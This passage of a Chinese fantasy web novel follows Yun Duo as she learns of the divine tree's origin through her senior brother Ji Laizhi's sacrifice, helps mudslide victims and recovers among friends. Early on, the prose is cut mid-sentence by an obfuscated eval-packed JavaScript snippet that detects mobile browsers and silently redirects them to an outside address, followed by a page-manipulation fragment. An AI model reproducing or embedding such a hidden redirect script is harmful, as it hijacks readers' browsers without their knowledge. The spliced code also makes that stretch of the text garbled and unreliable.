陆夜白露出一个头疼的表情,叹了一口气,道:“罢了,那就由我来费这个口舌吧。如你所见,现在的情况对我们来说很不利,黑雾一直在侵蚀人类的地盘。” 云朵点头:“这个我听说了,他们说神木附近是最安全的地方了。” 陆夜白:“没错,但是我们并不清楚神木会不会哪天就突然不行了,所以一直在想各种办法,试图解决眼前的危机。换做是你,你打算怎么做?” 云朵没想到他会突然发问,一时间有些懵:“啊?我……我刚才不是做出选择了吗,我想跟你们一起去清楚黑雾!” 陆夜白:“那是因为你是个修士,修为也不低,你有从黑雾中自保的能力。但倘若你是个手无缚鸡之力的普通人呢?你还会这么选吗?” 云朵:“嗯……那样的话,我应该就会去做些我能做的事,比如去医馆帮忙?” 陆夜白:“这倒是个不错的主意,那我们假设你天天在医馆帮忙。我们在外征战时,难免出现伤亡,医馆时不时就会接收一批被黑雾所伤的修士,伤口通常都不太好看。一次两次还好,倘若你十年如一日地看着这些人痛苦挣扎,生不如死,会不会对未来产生怀疑,会不会觉得靠我们自己的力量,是战胜不了黑雾的?” 云朵想象了一下那样的生活,不由得打了个寒战,犹豫道:“我……” 陆夜白打断了她:“我知道你的想法,你也不需要惭愧,这是人之常情。人活在世上,总要有些精神寄托的。盛世太平时,人们追求功名利禄。而在这种绝境中,说不定哪一天就再也睁不开眼了,你觉得对靠人类自己的力量战胜黑雾失去信心的人,会如何延续对未来的希望?” 云朵脑中的灵光一闪而过,脱口而出:“求神?” 陆夜白清冷的脸上难得露出一丝赞许的笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062194|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容:“不错,不愧是云怀清的师妹。” 从他人口中听到大师兄的名字,云朵的眼神黯了黯,视线也垂向了地面。 陆夜白感觉到自己说错了话,赶忙轻咳两声,又把话题拉回来:“这就是目前在栖云镇生活的人选择的两种道路。以我们三人为首,以清除黑雾为目标的驱逐派,以及每天去那棵神树底下祈祷神迹降临的颂祷派。这两派的人在理念上水火不容,好不容易在林星遥的斡旋下能够做到井水不犯河水了,我可不想打破这种脆弱的平衡。” 云朵总算听明白了:“因为我是颂祷派口中的神仙,如果我加入你们,对他们来说绝对是巨大的打击。你担心他们被打击后,可能会做出些极端的事,搞得所有人都不得安生?” 陆夜白点头:“没错。” 云朵:“那如果我仗着‘神仙’的身份,直接向他们发布神谕,让他们加入你们的队伍呢?大家团结一致,才能成大事啊!” 陆夜白沉默了,云朵见他那张冷冷清清的脸上变幻莫测,眼中好不容易积攒起来的一点赞许也消失了。 云朵:“……” 云朵:“陆公子,你想说什么就说吧,我承受得住。” 陆夜白:“我只是觉得,云小姐的思维挺跳脱,看来几百年的沉睡并没有让时间在你身上留下痕迹,你的内心仍然是个年轻人。” 云朵:“的确是这样,林公子跟我说我睡了二百多年,我真的吓了一跳。我觉得自己就是睡了一觉,怎么就过去了这么长时间呢?” 陆夜白:“也挺好,修士的生命比普通人要长得多,很多人看上去年轻,实际上内心已垂垂老矣。你的出现给我们带来不少平时罕有的对话,虽然没什么作用,但至少能让我们心情变好。” 云朵:“谢谢……?我就当你是在夸我了吧。” 陆夜白:“不客气。言归正传,你想通过发布‘神谕’来指挥那群人的行动?你似乎理解反了你们之间的关系,那群人不是因为你真的有什么神力才奉你为‘神仙’,而是你恰好在神树上沉睡,所以顺便把你当做神仙。你若是顺着他们的意愿说,也许还能时不时收到点贡品,你若真违逆他们——” 云朵:“他们会杀了我?” 陆夜白瞥了她一眼,继续道:“那不至于,他们没那么大的本事,但天天分出几个人手来恶心你,也够你受的了。哦对,大概还会说你是被我们蛊惑的,顺便也时不时来我们这里闹事,我们还不能跟他们动手。”陆夜白仿佛已经看到了让他头疼的场景,揉了揉额角,“所以云小姐,看在我今天给你讲了这么多有用情报的份上,就别把我们往火坑里推了吧。” 云朵见他们三人表情都不太好看,把头摇成了拨浪鼓:“你们放心,我刚刚就是那么一说。” 陆夜白松了口气:“那就好。” 云朵:“我能再问个问题吗?你们知道那颗神树是怎么来的吗?我明明记得浮云宗没有这么个大树的。” 三个人面面相觑,最后还是陆夜白开口:“这个我们确实不清楚,我们来的时候,这地方已经改名叫栖云镇,那神树也早就矗立在那儿了。我记得林星遥从天破没多久就去浮云宗支援了吧?他也许清楚?” 云朵豁然开朗:“对哦!他来的时候我们宗门还没有神树呢,他应该清楚来龙去脉!” 说完,她向三人道谢行礼,急匆匆地赶回聚散堂。 35. 好梦最难留(6) 聚散堂和她离开时没什么两样,林星遥依然端正地坐在桌案后,处理着堆成小山的案卷。抬眼见到她,林星遥脸上漫上一丝诧异,随即又恢复成标志性笑容,问道:“云姑娘回来了,是已经见过他们了?” 云朵:“林公子是指阮姑娘和陆公子他们吗?我确实都跟他们聊过了,但是还有些事情想请教。” 林星遥听她这么说,撂下笔,又示意她坐在对面,才开口问:“云姑娘有什么问题?但说无妨。” 云朵:“林公子之前跟我说,只要神木在,我们就不需要担忧,但是神木真的会一直在吗?我听阮姑娘说,这里有人想对神木做些不利的事。” 林星遥收了脸上的笑容,抿紧了唇,眼神放空看着门外,半晌才道:“作为栖云镇的镇长,我会回答你‘是的’;但作为林星遥,我会说我不知道。” 听到林星遥的回答,云朵也沉默了。沉重的气氛在空气中蔓延,聚散堂里静得落针可闻,唯有外面树叶被风吹动的“沙沙”声昭示着时间的流动。 良久,云朵打破了令人窒息的沉默:“这棵神木……你知道它是怎么出现的吗?我问了陆公子他们,他们说自己来到这里时,神木已经在了。林公子,你来浮云宗支援的时候,这里还没有神木,所以你一定见到它出现时发生了什么吧?” 自从醒来,这个问题就一直困扰着她,但是连陆夜白等人都不了解神木出现的原因和过程,她只能把希望寄托在林星遥身上了。 林星遥却像听到了什么天大的怪事,睁大了眼睛,震惊道:“云姑娘,你怎么会不知道神木栖吾是如何来的?” 云朵比他还震惊:“我怎么会知道?我不过睡了一觉,醒过来你就告诉我已经过了二百多年!我沉睡前这里还叫浮云宗,后山也没有这么一棵来历不明的树——” 林星遥难得表现得有些强势,直接打断了云朵的话:“不,在你沉睡前,它就出现了。” 云朵觉得荒谬:“怎么可能!我记得一清二楚,我三师兄带我去了宗门的安魂殿,我看到……看到师尊、大师兄和二师兄的魂灯都熄灭了,一时急火攻心,才……” 林星遥摇了摇头,盯着她的眼睛,一字一顿地问道:“那你还记得,季公子去了哪里吗?” 云朵急道:“我怎么知道,他——” 一句话没说完,生生停住了。 因为她眼前的场景突然变了,她此时没有坐在聚散堂中,而是站在后山的灵田中。 她对面的人也不是林星遥,而是季来之,一身猎猎红衣,手中捧着莹白玉匣,静静地看着她。 云朵简直不敢相信自己的眼睛,她身形不稳地上前几步,颤抖地问:“三师兄,你……你怎么在这里?” 季来之却笑了,笑容中明朗得没有一丝阴霾,好像他下一秒就要从储物袋里掏出什么稀奇古怪的小玩意,朝她显摆。 “师妹,你来啦!我还以为你会睡得久一点。” 云朵上前抓住他的手臂,眼睛红红的,死死盯着季来之的脸:“如果我不来,你打算做什么?” 季来之低头打开怀中的玉匣,露出里面的东西:“你不来,我就自己把它栽到地里,但既然你来了,那就你来动手吧!” 玉匣中放着的,正是比武大会冠军的奖品,神木栖吾的残枝。 云朵狐疑地看了他半晌,沉默地松开手,从玉匣中捧起那截树枝,退后一步,看着脚下的土地问:“就种在这里?” 季来之:“没问题,你喜欢哪儿就把它栽在哪儿。” 云朵没接话,只默默地蹲下身,把神木残枝种到脚下的土地里。 “然后呢?给它浇点水?” 季来之摇头道:“这个就不麻烦你了,我自己来就好。” 云朵猛地抬头:“季来之,你到底想干嘛?我不信你就是为了在这里种棵树。” 季来之收起脸上的笑意,叹了口气:“也是,你就是再傻,肯定也能察觉到我要干嘛了。” 云朵的眼眶又红了,她努力透过被泪水模糊的视线,想看清对面站着的人。 “所以你也想瞒着我,牺牲自己?大师兄和二师兄是这样,你也要这样吗?我在你们眼里,就这么靠不住?我承认,我没有你们厉害,但是你们就要把我完全排除在外吗?我也可以帮上忙啊!如果我们两个人一起,说不定就不用你——” 云朵哽咽得说不下去了,她用袖子胡乱擦了把脸,眼前总算清晰了些。季来之垂眼站在她面前,目光放在神木残枝上,脸上没有太多表情。 “师妹,我从来没觉得你没用过,大师兄和二师兄一定也是这么想的。我们反而觉得是自己没用,如果我们足够强,能直接解决这场危机,你也就不用经历这些了。”他抬眼,认真地看着云朵,眼中流淌着遗憾,“可惜,留给我们的时间太少了。大师兄和二师兄已经做了所有能做的事,也只能为我们争取到这些时间。” 云朵:“所以,你已经找到了你能做的事,也要开始为我争取时间了?” 季来之故作轻松道:“是啊,自从二师兄把这个重任交给我,我是白天想、晚上想,我到底能做什么?大师兄裂魂铸阵,二师兄焚身为阳,都没能阻止黑雾的蔓延,我得找到一种能多拖延些时间的方法。” 说到这,他扯出一个笑容,好像他真的发现了什么能一劳永逸的办法:“你放心,这次我一定能给你争取出不少时间来,让你有机会找到更好的办法。”他上前一步,拍了拍云朵的肩膀,“不过,接下来的路就得你自己走了。” 云朵低着头,已经哭得说不出话来,大滴大滴的泪珠落在刚种下的神木上。 季来之放下手,背过身去走远了几步,目视着远方群山,缓缓道:“其实一开始,我对你们人类的世界并没有什么归属感。即使我化作人形,但与你们终究是不同的存在,更何况我的族人就是亡于人类之手……所以这些年,我一直是以一个旁观者的角度,看着周围的悲欢离合。” 云朵默默听着,她知道,这也许是她和季来之最后的交流了。 “但是,我逐渐发现,人类真是一群有意思的生物。有些人可以为了一些蝇头小利害人性命,却也有人能为素不相识的人舍生取义。我常年外出游历,见了太多太多人,各种各样的人,他们让我逐渐觉得,这个世界确实值得被拯救。”说完,他转过身,脸上又挂上了云朵熟悉的、明朗的笑容,“有些时候,我觉得咱俩很像,你似乎对除了宗门外的人,都不是很在意。所以我不想跟你说,你一定要想到拯救苍生的办法。我希望我能为你争取到足够的时间,你用这些时间到处走走,用自己的眼睛去看,用自己的心去感受,然后做出选择,给出属于你自己的答案。” 季来之:“你放心,无论你怎么选择,我,还有二位师兄,都是站在你这边的!” 云朵抬起头:“我……” 季来之把手指竖在嘴前:“嘘……不用急着作出选择,虽然我的时间不多了,但你的时间还有很多。” 云朵的眼泪又开始不听话地往下掉了。季来之安静地看了她半晌,叹气道:“别哭啦,师妹。你这样,让我怎么放心啊,我都怕我去见了师兄们之后,被他们打断腿。” 云朵抹着眼泪,泪水却越抹越多:“你放心不下,那你就别留我一个人啊!” 季来之摇头:“这个不行,这已经是我能想到的,最好的办法了。不过我确实不是很放心你,你平时看着乖巧,但热血一上头,真不知会做出什么事来,比如用渡劫雷云来打金乌?当时真是给我和二师兄血都吓凉了!” 季来之:“接下来的场面可能不会让你开心,所以如果不想看的话,你就闭上眼吧,无论听见什么都不要睁开。等你再睁眼时,一切就结束了。” 说完,他不在看云朵,只留给她一个背影:“再见啦,师妹,你就送我到这吧 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主干之上,亿万条粗壮如蟒的枝干向着四面八方疯狂伸展。每一根枝条都在生长中发出“噼啪”的爆响,每一片树叶都大如华盖,翠绿欲滴。它们层层叠叠,交织缠绕,如同一张覆盖寰宇的网。 仅仅几个呼吸之间,一棵遮天蔽日的神木,便在季来之引来的海水中诞生。巨大的树冠一直向上舒展,直到顶上了喷涌着黑雾的天空裂口。 天破的缺口被严丝合缝地堵上了,黑雾不再蔓延,甚至被神木枝叶散发的圣光驱散了不少。 云朵呆呆地看着这一切发生,随后像是从梦中惊醒一般,急切地在天空中寻找季来之的身影。 “三师兄!季来之!你、你还在吗——” 她把灵力注入双眼,视线扫过神木的每一根树枝、每一片树叶。终于,她在层层叠叠的新绿中,发现了一点微弱的蓝光。 那是季来之,他周身的蓝光明明灭灭,晃得红色衣衫也不再鲜艳。 “三师兄——” 她还没来得及惊喜,就惊恐地发现季来之的身影在慢慢变得透明,变得模糊。 他停止了咏唱,仿佛用尽了最后的力气,微微低下头。隔着遥远的距离,隔着初生的神木枝叶,他的目光再一次,最后一次,温柔而眷恋地投向了下方那片他为之付出一切的土地……投向了那个呆立在神木之下、已经泪流满面的身影。 没有言语,没有告别。 他的身体,如同海水中的泡沫,无声地消融、分解。 一点,一点。 化作无数细碎的蓝色光点,如同亿万颗微小的星辰。 那些光点终于挣脱了世间的束缚,轻盈地向上飘散。在初生神木的巨大华盖下,在渐渐恢复清明的天空中,如同一场逆行的细雨。 最终,彻底地融入了那无垠的虚空之中,再无一丝痕迹。 云朵全身的力气仿佛在瞬间被抽空,她的身影摇晃两下,重重跪倒在地,弯着腰,双手紧紧攥着胸口处的衣服。 她觉得喘不上气,像是胸腔里倒灌满了海水;又觉得呼吸得太过,像是胸口上开一个洞,呼吸间能听见穿堂而过的风声。 她恍惚间听见了自己的呼吸声,短暂又急促,像溺水之人在波涛间沉浮,努力寻找一块浮木。 我是不是快死了? 但是不对,这样不对。 三师兄说了,想让我活下去,找到属于我自己的答案。 就是为了让我活下去,让还活着的人能够继续活下去,师兄们才…… 对,我得活下去,想尽一切办法活下去! 虽然不知道怎样才能终结这一切,但是只要活下去,说不定有一天就找到办法了。 倾盆大雨兜头而下,云朵已经分不清模糊掉视线的,究竟是雨水还是泪水。她机械地抬起头,眼中只映出了季来之消逝后空空荡荡的天地,还有沉默地支撑着破碎天地的神木。 她从没有这么清晰地感觉到,从今往后,她就只剩一个人了。 36. 好梦最难留(7) 不知在雨中浑浑噩噩地呆坐了多久,她隐隐约约听见有人在身旁唤她的名字。 “云姑娘!”是林星遥的声音。 云朵勉强找回意识,抬头看见林星遥站在她身侧,一脸担忧。他应该过来得很急,白金色的衣袍上沾满了星星点点的泥点,衣摆处更是已经被染的看不清原本的颜色了。原本飘逸的长发被大雨淋得湿透,一绺一绺地贴在脸颊和同样湿透的衣服上。 见她终于回了神,林星遥弯下腰,轻声问:“云姑娘,你还好吗?能走动吗?” 云朵点了点头,还觉得脑子有些发懵。 林星遥扶她起来,“云姑娘,这场暴雨来得太突然了,雨量太大,山上松动的土石被顺着冲下来,形成了泥石流。有些临时搭建的屋子被冲塌了,现在伤亡情况不明,我们得抓紧时间去营救。”见云朵沉默不语,只低着头赶路,双目呆滞,他又小心地问,“云姑娘,你在听吗?” 云朵勉力点头回应,心里却惨然。这雨的确来得突然,可突然的又何止是雨呢? 二人步履匆匆地来到安置区,云朵被眼前的景象惊呆了。 几间依着山坡搭建的木屋已被狂暴的泥石流彻底冲垮,掩埋了一半,残骸在浑浊的洪流中浮沉。幸存的灾民们如同受惊的鸟兽,在齐膝深的泥水里哭喊着,徒劳地试图从废墟中扒拉出一点家当,或是寻找失散的亲人。哭声、喊声、暴雨的咆哮声混杂在一起,刺痛了云朵的神经。 “救人!先救人!清点人数!远离山体!”林星遥这时候也顾不上翩翩君子的风度,大喊着指挥周围的弟子组织疏散和救援。他本人也步履不停,径直冲入最危险的地段,徒手掀开断裂的房梁,将困在泥水中的老人孩子拖拽出来。 云朵的心脏跳得像擂鼓,震得她耳膜发疼。她瞥见靠近山体边缘处,一间几乎被泥石流完全吞没的破屋门口,一个妇人正对着汹涌的泥流发出撕心裂肺的哭嚎,几次试图冲进去,又被浑浊的浪头逼退。 “我的镯子!我娘的镯子还在里面啊!”妇人绝望的哭喊在雨声中显得格外微弱,又格外锥心。 云朵来不及多想,已经朝着那位妇人的方向冲去,灵力在她脚下爆发,溅起大片泥浆。她无视了林星遥的惊呼,像一只灵活的小兽,险之又险地避开一根被洪水冲倒的树,又如一道迅影,冲进了那摇摇欲坠的木屋。 一进屋,刺鼻的泥腥味扑面而来。断裂的桌椅漂浮着,浑浊的水面下是厚厚的淤泥。云朵强迫自己冷静下来,凭着修士的敏锐感知力,锁定了一个被泥水冲到墙角、半埋在淤泥里的旧木匣子。她足尖点地,几乎是贴着水面掠过,一把捞起那木匣。 变故发生在一瞬间。 云朵听见头顶一声脆响,一根支撑的横梁在泥水的持续冲击下,终于发出了不堪重负的呻吟,眼看就要断裂砸下。 千钧一发之际,云朵抽出腰间的佩剑,反手一挥,一道凌厉的剑气精准斩过。横梁应声而断,砸落在云朵身后的泥水里,溅起巨大的水花。云朵抓住这瞬间的空隙,脚下不停,一只胳膊抱着木匣,另一只手挽个剑花收剑入鞘,终于从即将被泥流彻底封死的门口冲了出来。 云朵浑身泥泞,护着怀中的木匣冲到那几乎瘫软在地的妇人面前,用袖子擦了擦木匣表面的泥浆,塞进她怀里:“大娘别哭,你快看看,你要找的是不是这个?” 那妇人颤抖着,用沾满污泥的手胡乱打开木匣,一枚沾着泥水的玉镯静静躺在匣中。她一把抓出玉镯,紧紧攥在手心,仿佛攥住了失而复得的宝藏。 “是!是它!是我娘的镯子!”妇人猛地抬头,看着眼前同样狼狈不堪、宛如泥人的云朵,泪水瞬间决堤,混合着雨水滚滚而下,“谢谢你啊,小仙姑!谢谢你!我娘死得早,我家里也没啥值钱的东西。这个镯子是我的嫁妆,也是我娘唯一留给我的念想啊……”她一边说,一边用粗糙皲裂的手指,无比珍惜地、一遍又一遍来回抚摸着逐渐被雨水冲刷干净的玉镯。那轻柔的动作,带着一种穿越时光的温柔,仿佛又回到了还是小姑娘的时候,她赖在娘亲温暖馨香的怀里,撒娇地抬起小手,用指尖调皮地抚过娘亲带着笑意的脸颊。 妇人摩挲着玉镯,声音哽咽而悠远:“虽然……如果没有了这个镯子,我的日子也是照样过的,柴米油盐,该咋过咋过。但我的心里可能就会一直空了一块,有风吹过就呼呼响起来,吵得我吃不好,睡不着。” 她抬起泪眼,泪水在眼角凝聚成浑浊的珠子,滑过她已不再年轻的面容。 “所以,谢谢你……真的谢谢你。你救了我的命根子啊……”她泣不成声,朝着云朵双膝一弯,就要跪下。 云朵连忙托住她的双臂,急道:“不用谢我啦!”她看着妇人紧握玉镯如同抓住救命稻草的样子,心中某个地方被深深触动,勉强挤出一丝笑容,“我能看出来,您一定很爱您的娘亲,她也非常非常爱您。这镯子上……有她的心意呢。”她顿了顿,看着那温润的玉镯,由衷地说,“还好我把它抢出来了。” 妇人被云朵的话说得心头更暖,用力点点头,擦着仿佛流不干的眼泪。她看着眼前这个年纪不大、却冒着生命危险冲进危房救下她唯一念想的少女,关切地问:“小仙姑,我看你年龄不大,修为却很高,你是从小就入了仙门吗?你的家人呢?” “家人……”云朵脸上的笑容瞬间僵住,眼神有一刹那的失焦。替妇人救下玉镯的欣慰和喜悦,如同潮水般退去。她粉色的衣裳浸透了水,冰冷地裹在身上,刺骨的寒意激得她打了个寒噤。 她喃喃道:“原本是有的……我还有三个师兄……” 她的声音越来越低,带着一丝不易察觉的颤抖。眼前是紧握着玉镯的妇人,身后同门们在暴雨中救灾的喊声,周围灾民的哭嚎,仿佛都隔了一层厚厚的屏障,变得模糊不清,只剩下震耳欲聋的雨声。 她下意识地抬起头,望向那片铺满整个天空的灰黑乌云,望向散发着金绿淡芒的神树。 她哽咽着,声音破碎在滂沱大雨里: “可是他们……已经不在了。” 大暴雨下了三天三夜。 在林星遥和云朵的指挥下,浮云宗中的人都被转移到了山顶附近,聚散堂外面横七竖八地搭上了许多简易帐篷。 雨虽停了,但善后的工作还有许多。清点物资损失、修缮被毁建筑、救治受伤人员……每一桩每一件云朵都要参与。 她在努力用各种各样的事情填满空闲时间,让自己没有机会去乱想。 等到一切尘埃落定,时间已经又走过月余。 云朵坐在聚散堂中,听着同门汇报着各项事务。 这个位置,云怀清、夏南烛、季来之都坐过。如今,轮到她了。 听完最后一个汇报,又交代了一下之后的工作,待堂中的人陆陆续续都走出去,大殿中恢复了冷清,云朵一下子泄了气,向后躺靠在椅背上。 林星遥并没有出去,自从季来之离去后,他就一直在同云朵一起管理着浮云宗的大小事务。比起整天坐在聚散堂的云朵,他基本上都跑在外面,四处巡查,人都消瘦了一圈。 这是两人这么多天以来,第一次能消停下来,面对面说话。 云朵看着林星遥眼下的青黑,又回想起当初在霁华宗第一次见到他时,他那副翩翩君子的模样,内心不由得有点愧疚。 她从椅子上站起来,走到林星遥身旁,感激道:“林公子,这些时日多亏你了,不然我怕是要猝死在这把椅子上。” 林星遥面上满是疲惫,但依然冲她笑笑:“云姑娘客气了,我既然被派来帮忙,自当竭尽全力。” 云朵:“最忙的时候应该过了,林公子快去歇息吧,剩下的事情交给我就好。” 她之前一直被三位师兄保护得太好了,宗门事务从来没接触过,即使天破后帮着夏南烛和季来之分担过一些,但分给她基本都是相对简单的事情。等她真正自己挑大梁时,依然手忙脚乱了一段时间。 林星遥见她实在应付不来,之前也帮夏南烛处理过一些事情,因此主动帮她分走了需要 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林星遥听她提到季来之,脸上的笑容淡了些,问道:“云姑娘,之前事发突然,我一直没来得及问,季公子是怎么……”剩下的话卡在了嘴边,他实在说不出那个字。 云朵的脸“唰”地一下褪去了血色,变得惨白。 那些她刻意丢到脑后、不去回想的记忆涌了出来,从脑中冲向胸口,又随着心跳被泵入四肢百骸。 那些记忆犹如那一夜从天而降的暴雨,冲得她视线模糊,手脚冰凉。 林星遥见她神色有异,深知是自己提起了让她伤心的话题,焦急道:“云姑娘?你还好吗?抱歉,是我说错话了,你不要再想了,快去休息一下吧——云姑娘?!” 他话还未说完,云朵已如离弦的箭般冲出了聚散堂。 她把林星遥焦急的呼唤甩在身后,不顾一切地向前跑着、逃着。她想逃离这间空寂的大殿,逃离这处满载着回忆的山头,逃离这方令她悲恸的天地。 可惜,时光太快,她的脚步太慢,她甚至连熟悉的影子都追不上。 等回过神来,她发现自己已经跑到了神木下。 神木无言,如同一根贯通天地的支柱,任何人站在它面前,都会感到自己的渺小。 云朵盯着神木沉默片刻,喝到:“盈盈!” 她的本命剑应声而出,载着一跃而上的云朵,直直地向树冠浮升。 神木的树冠高而密,远看已初见端倪,真落到上面时,云朵依然惊讶于它的广阔,衬得她如同地上的蝼蚁。 可不就是蝼蚁吗。 云朵抱膝靠坐在一根树杈根部,把自己缩成小小的一团。 树冠上好冷,难怪有高处不胜寒的说法。 外界的冷风与四肢百骸中的寒意相会在薄薄的皮肤上,让她没忍住抖了两下。 如果这是一场梦多好。 云朵突然想起什么,松开了抱着膝盖的手,去腰间的储物袋里翻找一阵,取出一个卷轴。 那是她大师兄送给她的礼物,名为“美梦”的卷轴。 她呆呆地捧着卷轴,耳边又响起了云怀清的声音: “今后,若你独自经历苦难,走到再也走不动的时候,你便打开它。虽然没办法帮你解决问题,但可以让你短暂地从清醒中抽离。让你能歇一歇,攒点勇气后继续上路。” 当时不懂句中意,懂时已是局中人。 她默默展开卷轴,将灵力注入。原本空白的宣纸上,仿佛谁人执笔,在上面勾勒出一个青衣少年,眉目如画,气质如玉。画中人笑眼弯弯,向她伸出一只手,仿佛在对她说: “我是浮云宗的云怀清,从今天开始,就是你的大师兄了。” 那是他们初遇的场景。 “大师兄……”云朵隔着泪眼,看着画中的身影,颤抖地伸出手,指尖碰上画中人的手掌。 画上的墨迹化作细沙,散入空中,围绕在云朵身边,像一个久违的拥抱。 云朵闭上了双眼。 37. 好梦最难留(8) 云朵的意识回归时,首先听到了一阵琴音,琴音如涧溪潺湲、深潭凝碧。 她在琴声中睁开眼,首先见到阮织梦惊中带喜的面容。 “醒了醒了!可算醒了!”阮织梦先是扭头朝后面喊,随后转过身,伸出两根手指摆在她面前,“来,看看这是几?” 云朵抬起还没恢复力气的手,拍开眼前的手,无奈道:“阮小姐这是觉得我睡傻了吗?” 阮织梦退后,双手抱胸站在床头,道:“你睡没睡傻倒是没那么重要,但你说着话突然就晕倒了,可是给我们林镇长吓得不轻。” “阮小姐……”阮织梦话音刚落,林星遥的声音就在稍远处响起。 阮织梦回头白了他一眼,斥道:“怎么?我说错什么了?自从我们的云小姐晕倒后,你不是白天处理公务,晚上还要来守夜吗?三天不合眼,你这个仙可是没白修!你要是个普通人,我怕是早就能给你收尸了!” 林星遥被她的话噎住,没敢再吭声。反倒是云朵听了后,惊讶道:“我昏了三天?” 阮织梦气呼呼地转回头:“是呀!” 云朵见她确实是气不顺,虽然有些不明所以,但也不敢再触她的霉头,只能顺毛撸:“这三天,阮小姐定是一直在照顾我吧?多谢你!” 阮织梦冷哼一声,语气总算是缓和了些:“既然你醒了,就没我什么事了,不过药你还得接着喝。我回去了,医馆那边还有不少病人呢!”说罢,她扫了一眼林星遥,拂袖出门,远远地还能听到她在自言自语地抱怨,“一个两个的,都不让我省心!以为我整天很闲吗!” 直到她走远,云朵和林星遥才同时松了一口气。 云朵撑着起身,靠坐在床头,林星遥也从墙边走过来,搬了把椅子坐在床旁。 云朵:“阮小姐……我以前没跟她相处过,她二百年前是这样的性格吗?” 林星遥苦笑:“不太是,她以前的性子……大概算是古灵精怪?也是在负责了医馆后,脾气才变得这般火爆的。” 云朵摸了摸鼻子,悻悻道:“那我好像有点懂了。” 说完,她抬头看了眼窗外,天已经黑透了,寥寥星子挂在天幕上。 云朵:“已经这么晚了,林公子不用去休息吗?” 林星遥:“无妨,也不差这几个时辰了。” 云朵的视线掠过林星遥的脸,垂向她搭在腿上的手,良久后,开口道:“……对不起。” 林星遥笑笑,道:“云姑娘不必道歉,是我让你想起伤心事,你才……” 没等他说完,云朵便打断道:“我不是说这个。” 她抬起头,看着林星遥错愕的脸,说道:“不止这一次,还有二百年前,把本该由我扛起的责任丢给你。我缺席的这段时间,你一定很累吧……我真的欠你很多个‘对不起’。” 林星遥愣住了。 云朵也并没有奢求他说出什么原谅的话来,二百余年的时光像一条奔涌不歇的江河,将他们隔在两岸。她自愿抛下一切,困守在虚幻的美梦中。而背起一切负重前行的人,又可曾真的需要她的很多个“对不起”? 如果不是她的自私和任性,林星遥大概会在浮云宗一切事物平稳下来后,告辞离去,回到霁华宗。虽然霁华宗最后的结局可能并无不同,但他也许能为霁华宗战斗到最后一刻,马革裹尸。而不是收到一封遥远的传讯,面对着冰冷的字句抱憾终生。 袅袅琴音不知何时停了,一声轻咳打破了屋里凝滞的气氛。 云朵抬眼,见门口站着一位娉婷少女,背着古琴,向他们盈盈一礼。 那少女抬起头后,云朵瞬间瞪大了眼睛,惊道:“疏意姐姐?!” 杨疏意笑道:“好久不见了,岁宁妹妹。” 云朵没想到还能在这里见到杨疏意,心里惊喜:“没想到疏意姐姐会在此处,我就说刚刚的琴音听着耳熟呢!” 杨疏意看了一眼林星遥,道:“你在昏睡中一直流泪,许是被噩梦魇住了,林公子便请我来奏琴。” 云朵不好意思地挠挠脸,小声嘟囔:“我这真是麻烦了不少人……” 杨疏意摇头:“怎会是麻烦,我也就只擅长琴音,能帮上你们已经很好了。” 林星遥左看右看,见她们二人聊得火热,怎么看都觉得自己多余,于是起身告辞:“我本担心你们不熟,却发现是多虑了。你们许久未见,肯定有很多话要说,我就不在旁边煞风景了,正好明天宴会的事情还需要再准备一下,先告辞了。” 林星遥走后,云朵问杨疏意:“林公子刚才说,明天有宴会?” 杨疏意点头:“是的,岁宁妹妹醒来,大家都很高兴。林公子提议为你办场宴会,一为庆祝,二为安定民心。” 云朵奇怪道:“庆祝我懂,安定民心是怎么回事?” 杨疏意收起笑容:“你也看到现在的情形了,在这种世道下生存,总需要些信仰。虽然不是每个人都相信你是能拯救世人的神仙,但你的苏醒确实能够振奋人心,让大家对未来多一丝希望。” 云朵张大了嘴,她之前从来没觉得自己这么有用过! 杨疏意被她的呆样逗笑了,捂唇轻笑:“好啦,现在时间还早,宴会要等到明天晚上呢。你现在最要紧的是好好休息,明天的宴会上,你可是主角。” 云朵捂脸:“别说了,我能不去吗?” 杨疏意道:“那可不行,主角怎么能不出现呢?” 云朵长叹一声,又滑进被窝里,把头也缩进被子里,闷声道:“让我逃避一会儿现实,疏意姐姐也快去休息吧!” 杨疏意轻轻拍了拍被子,道:“那我先去隔壁屋子啦,你有事叫我便好。” ----------------- 云朵这一觉,直睡到日上三竿。 满足地伸了个懒腰,云朵跳下床,把自己收拾妥当后,推门出屋。 一见到屋外的景色,她就愣住了。昨天醒来时,已是深夜,外面的景色隐在夜色中,她也没有仔细去分辨。而在白日的阳光里,熟悉的景色仿佛跨越了二百年的岁月,重新闯进了她的生命。 浮云宗,歇云处,他们师兄妹四人曾经的居所。甚至她休息的房间,都是她曾经的那一间。 大约是听见了她出门的动静,杨疏意也从隔壁屋子走了出来:“午安,岁宁妹妹,看来你昨夜休息得不错。” 云朵尴尬笑笑:“啊哈哈哈,可能是我之前睡得太久了,睡习惯了,一闭眼就睁不开……” 杨疏意笑道:“那我真是羡慕了。” 云朵:“疏意姐姐,不是说今天晚上有宴会吗?我们要不要去帮忙。” 谁知杨疏意摇摇头,正色道:“岁宁妹妹,你现在身份特殊,还是不要经常出现在人们面前比较好。” 云朵一愣,随后明白了杨疏意话中的含义。她现在并不单纯只是一个睡了二百多年才醒过来的人,更是某些人心中的“神仙”,某些人眼中的“神迹”。 而神仙,是不能落入凡尘,染上俗世烟火的。 她缓缓点头,道:“我明白了,那我就先待在这里,等宴会开始再出现吧。” 杨疏意看她蔫了,有些于心不忍:“你想听琴吗?这些年,我也学了不少新的谱子,自己也创作了一些,你若想听,我便全都奏与你听。” 云朵眼睛亮了:“好呀!疏意姐姐的琴声,可是只应天上有的仙乐!我今天听完,也算是不枉别人称我一声‘神仙’了!” 杨疏意笑着刮了下她的鼻子:“油嘴滑舌!”随即将背上的古琴解下来,放在院中石桌上,试了几个音后,弦音如涓涓细流,从她的指尖流淌而出。 云朵跟着坐在对面,胳膊肘支在桌面上,双手托腮,闭眼聆听。 时间就在阵阵琴音中流逝,到了晚上。 